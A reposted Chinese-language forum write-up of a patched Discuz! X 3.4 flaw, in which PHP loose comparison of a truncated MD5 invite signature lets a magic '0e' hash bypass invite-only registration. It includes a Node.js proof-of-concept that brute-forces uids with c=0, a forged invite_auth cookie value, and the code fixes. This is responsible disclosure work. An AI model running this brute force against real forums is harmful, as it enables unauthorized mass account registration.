公告

Collapse
No announcement yet.

Discuz! X 3.4 用 20 萬個請求,繞過註冊邀請碼

Collapse
X
Collapse
Who has read this thread:
 
  • Filter
  • Time
  • Show
全部清除
新帖子

  • Discuz! X 3.4 用 20 萬個請求,繞過註冊邀請碼

    [align=left][color=rgb(34, 49, 63)]本文由 Coxxs 原創,轉載請註明原文鏈接:[color=rgb(34, 49, 63)]https://coxxs.me/528[/color][/color][/align][align=left][color=rgb(34, 49, 63)][color=rgb(34, 49, 63)]
    [/color]
    [/color][/align][align=left][color=rgb(34, 49, 63)]2017-8-11 此漏洞修複方案[color=rgb(34, 49, 63)]已提交至 Discuz! 官方[/color][/color][/align][align=left][color=rgb(34, 49, 63)][color=rgb(34, 49, 63)]
    [/color]
    [/color][/align][align=left][color=rgb(34, 49, 63)]2017-8-21 官方[color=rgb(34, 49, 63)]修復此問題[/color],併發布 [color=rgb(34, 49, 63)]Discuz! X3.4 Release 20170820[/color][/color][/align][align=left][color=rgb(34, 49, 63)][color=rgb(34, 49, 63)]
    [/color]
    [/color][/align][align=left][color=rgb(34, 49, 63)][color=rgb(34, 49, 63)]
    [/color]
    [/color][/align]背景[align=left][color=rgb(34, 49, 63)]在 Discuz! X 發布前,Discuz! 就有邀請註冊功能。管理員可以通過開啟邀請註冊,讓遊客需要邀請碼註冊。根據論壇運營的性質,遊客需要通過 他人邀請,或者通過購買等獲取邀請碼。[/color][/align]分析過程管理“專用”的批量邀請鏈接[align=left][color=rgb(34, 49, 63)]在 Discuz! X 系列中,為了方便論壇的運營,Discuz! 加入了一種批量邀請鏈接。管理員可以發布這個鏈接,讓無限用戶不限次數的註冊:[/color][/align][align=left][color=rgb(34, 49, 63)]

    [/color][/align][align=left][color=rgb(34, 49, 63)]這個鏈接的顯示條件是:1. 論壇開啟了邀請註冊功能 2.登錄用戶對應的用戶組有邀請權限 3.該用戶組購買邀請碼的價格是 0[/color][/align][align=left][color=rgb(34, 49, 63)]需要指出的是,論壇中的所有用戶都有這個鏈接,只是不符合上述條件,這個鏈接不會在前台顯示。[/color][/align]
    home.php?mod=invite&u=1&c=7854219ad4fd3d1b
    [align=left][color=rgb(34, 49, 63)]觀察鏈接,主要有 u 和 c 兩個參數,其中 u 是邀請者的 uid,c 是用於校驗 u 的“簽名”。換句話說,如果 c 的生成算法/驗證方式有漏洞,相當於可以獲取任意 uid 的邀請鏈接權限,我們先來看看 c 的生成算法。[/color][/align]生成算法[align=left][color=rgb(34, 49, 63)]文件: source/include/spacecp/spacecp_invite.php[/color][/align]
    Code:
    <pre style="color: rgb(0, 0, 0);">function getinviteurl($inviteid, $invitecode, $appid) {
      global $_G;
    
      if($inviteid && $invitecode) {
        $inviteurl = getsiteurl()."home.php?mod=invite&amp;id={$inviteid}&amp;c={$invitecode}";
      } else { // 批量邀請鏈接走的這個邏輯
        // space_key 就是 c 的生成函數。注意這裡的 $appid 用不到,傳值為空
        $invite_code = space_key($_G['uid'], $appid);
        $inviteapp = $appid?"&amp;app=$appid":'';
        $inviteurl = getsiteurl()."home.php?mod=invite&amp;u=$_G[uid]&amp;c=$invite_code{$inviteapp}";
      }
      return $inviteurl;
    }</pre>
    [align=left][color=rgb(34, 49, 63)]文件: source/function/function_core.php[/color][/align]
    Code:
    <pre style="color: rgb(0, 0, 0);">function space_key($uid, $appid=0) {
      global $_G;
      return substr(md5($_G['setting']['siteuniqueid'].'|'.$uid.(empty($appid)?'':'|'.$appid)), 8, 16);
    }</pre>
    [align=left][color=rgb(34, 49, 63)]其中 $appid 默認為 0,即 c 就是 md5($siteuniqueid.'|'.$uid)的中間 16 個字符。[/color][/align][align=left][color=rgb(34, 49, 63)]也就是說,只要有 siteuniqueid,就可以生成出任意 $uid 的 c 簽名。站點的 siteuniqueid 怎麼獲得?嗯,看了一下 Discuz 代碼,得出的答案是:一般獲取不到。接下來看看 c 的驗證方式。[/color][/align]
    注意:Discuz! 應用中心的部分應用在安裝中會上報 siteuniqueid,這些應用的開發者或許就知道該站點的 siteuniqueid。這是一個小安全漏洞,但不是本文的主題。
    驗證方式1. 邀請引導頁[align=left][color=rgb(34, 49, 63)]邀請引導頁即我們上面提到的 home.php?mod=invite&u=****&c=****[/color][/align][align=left][color=rgb(34, 49, 63)]文件: source/module/home/home_invite.php[/color][/align]
    Code:
    <pre style="color: rgb(0, 0, 0);">} elseif ($uid) {
    
      $id = 0;
      // 生成用於比對的 $invite_code (簽名)
      $invite_code = space_key($uid, $appid);
      // [1] 將用戶提交的 c 簽名與 $invite_code 進行比較
      if($_GET['c'] != $invite_code) {
        showmessage('invite_code_error', '', array(), array('return' => true));
      }
      $inviteuser = getuserbyuid($uid);
      loadcache('usergroup_'.$inviteuser['groupid']);
      // [2] 邀請者 uid 所在的用戶組的邀請碼購買價格為 0
      if(!empty($_G['cache']['usergroup_'.$inviteuser['groupid']]) && $_G['cache']['usergroup_'.$inviteuser['groupid']]['inviteprice']) {
        showmessage('invite_code_error', '', array(), array('return' => true));
      }
      // 通過以上 [1] [2] 兩個判斷後,設置 cookies
      $cookievar = "$uid,$invite_code,$appid";
    }</pre>
    [align=left][color=rgb(34, 49, 63)]看似兩處判斷都很合理,沒有問題。其實 [1] 處的判斷是有漏洞的。[/color][/align]
    1. 1.使用普通的邏輯符號進行比較,有[color=rgb(34, 49, 63)]時序攻擊(Timing attack)漏洞[/color]。
    2. 2.使用不等於(!=),而不是不全等(!==)進行比較,有字符串比較漏洞。
    [align=left][color=rgb(34, 49, 63)]其中字符串比較漏洞的利用較簡單,這裡我們討論看看。[/color][/align][align=left][color=rgb(34, 49, 63)]在 php 中執行 var_dump("0" == "0e12345678901234"),結果是 true。這是因為 php 將後者當作科學計數法來解析,解析結果是 0 (0 * 10 ^ 12345678901234 = 0)。因此比較結果為 true。[/color][/align][align=left][color=rgb(34, 49, 63)]c 的值是可控的,如此一來,我們只需讓 space_key 生成出一個形如 0e12345678901234 的字符串即可繞過 [1] 處的判斷,有辦法做到嗎?[/color][/align][align=left][color=rgb(34, 49, 63)]回到上面的生成算法,space_key 是 md5($siteuniqueid.'|'.$uid)的中間 16 個字符,而 md5 的 hex 結果恰恰是在 [0-9a-f] 之間,也就是完全有可能生成符合規則的漏洞字符串。有多大的幾率呢?[/color][/align]
    (1/16)^2 * (10/16)^14 = 0.00054210%
    [align=left][color=rgb(34, 49, 63)]換句話說,大約每生成 20 萬次,就能出現一個 0e[0-9]{14} 形式的字符串,用以繞過這個判斷。20 萬個 http 請求在實踐中是可行的。[/color][/align][align=left][color=rgb(34, 49, 63)]因為這個頁面只是生成一串用戶可控的 cookies 用於註冊頁面:$uid,$invite_code,$appid,我們不討論 [2] 的判斷(條件有些複雜),直接看註冊頁面的邀請鏈接驗證代碼。[/color][/align]2. 註冊頁面[align=left][color=rgb(34, 49, 63)]文件:source/function/function_member.php[/color][/align]
    Code:
    <pre style="color: rgb(0, 0, 0);">function getinvite() {
    ...
      // 接收到 cookies,進入條件判斷
      } elseif($cookiecount == 3) {
        $uid = intval($cookies[0]);
        $code = trim($cookies[1]);
        $appid = intval($cookies[2]);
    
        $invite_code = space_key($uid, $appid);
        // [1] 跟上面一模一樣的判斷方式,依然可以繞過
        if($code == $invite_code) {
          $inviteprice = 0;
          $member = getuserbyuid($uid);
          // 這裡假設這個 $uid 對應的用戶不存在,那取出來的結果為 false, 不進入下面的判斷
          if($member) {
            $usergroup = C::t('common_usergroup')->fetch($member['groupid']);
            $inviteprice = $usergroup['inviteprice'];
          }
          // $inviteprice 為 0,不進入下面的判斷
          if($inviteprice > 0) return array();
          // 成功將提交的 $uid 設置進變量 ^_^
          $result['uid'] = $uid;
          $result['appid'] = $appid;
        }
      }
      // 通過驗證
      if($result['uid']) {
        $member = getuserbyuid($result['uid']);
        $result['username'] = $member['username'];
      } else {
        dsetcookie('invite_auth', '');
      }
      // 返回“邀請碼有效”的結果,允許註冊 ^_^
      return $result;
    }</pre>
    [align=left][color=rgb(34, 49, 63)]註冊頁面只要過了 [1] 處的判斷,並傳入一個不存在的、並且能生成出指定格式的簽名的邀請者 $uid,此後的校驗暢通無阻,直接返回邀請碼有效。[/color][/align][align=left][color=rgb(34, 49, 63)]至此,只需通過 20 萬個請求爆破出一個可生成出特殊格式 space_key 的 uid,即可通過該 uid 和為 “0” 的 c 簽名,繞過邀請碼無限註冊用戶。[/color][/align]PoC
    Code:
    <pre style="color: rgb(0, 0, 0);">const fetch = require('node-fetch')
    
    ;(async function () {
        let start = 1
        let max = 500000
        for (let i = start; i <= max; i++) {
            ;(async function (i) {
                if (await test(i)) {
                    console.log('※found! uid: ' + i)
                }
            })(i)
            await sleep(20)
            if (i % 200 === 0) {
                console.log('current: ' + i + '/' + max)
            }
        }
    })()
    
    async function test(uid) {
        let res = await fetch('http://localhost/dz/home.php?mod=invite&u=' + uid + '&c=0')
        let text = await res.text()
        return !!text.match('bm_h mt') ||      // 成功進入邀請註冊頁面,直接註冊
               !!text.match('用戶空間不存在')   // 成功繞過 c 簽名判斷,雖然 uid 不存在,依然可以設置 cookies,直接在註冊頁面註冊
    }
    
    function sleep(ms) {
      return new Promise(resolve => setTimeout(resolve, ms))
    }</pre>



    設置一下 Cookies: [color=rgb(51, 51, 51)]Edb6_2132_invite_auth=194077,0,0[/color]








    修復[align=left][color=rgb(34, 49, 63)]1. siteuniqueid 易被插件開發者獲得,一旦擁有 siteuniqueid,無需爆破即可直接生成邀請鏈接。建議修改使用 authkey 生成。[/color][/align][align=left][color=rgb(34, 49, 63)]文件: source/function/function_core.php[/color][/align][align=left][color=rgb(34, 49, 63)]查找[/color][/align]
    Code:
    return substr(md5($_G['setting']['siteuniqueid'].'|'.$uid.(empty($appid)?'':'|'.$appid)), 8, 16);
    [align=left][color=rgb(34, 49, 63)]替換為[/color][/align]
    Code:
    return substr(md5($_G['config']['security']['authkey'].'|DZXINVITE|'.$uid.(empty($appid)?'':'|'.$appid)), 8, 16);
    [align=left][color=rgb(34, 49, 63)]2. 將(不)等於比較改為[color=rgb(34, 49, 63)]防止時序攻擊的(不)全等比較函數[/color]。[/color][/align][align=left][color=rgb(34, 49, 63)]文件: source/module/home/home_invite.php[/color][/align][align=left][color=rgb(34, 49, 63)]查找[/color][/align]
    Code:
    if($_GET['c'] != $invite_code) {
    [align=left][color=rgb(34, 49, 63)]替換為[/color][/align]
    Code:
    if(!hash_equals($_GET['c'], $invite_code)) {
    [align=left][color=rgb(34, 49, 63)]文件: source/function/function_member.php[/color][/align][align=left][color=rgb(34, 49, 63)]查找[/color][/align]
    Code:
    if($code == $invite_code) {
    [align=left][color=rgb(34, 49, 63)]替換為[/color][/align]
    Code:
    if(hash_equals($code, $invite_code)) {
    注意:hash_equals 函數只支持 PHP >= 5.6.0,舊版 PHP 需自行實現該函數。
    [align=left][color=rgb(34, 49, 63)]3. 對於不存在的邀請者 uid,不允許註冊。[/color][/align][align=left][color=rgb(34, 49, 63)]4. 對於沒有邀請權限的邀請者(目前只判斷邀請碼價格是否為 0),不允許註冊。[/color][/align][align=left][color=rgb(34, 49, 63)]修復 1、2 後,問題 3、4 影響不大。修複方式略。[/color][/align]

Working...
X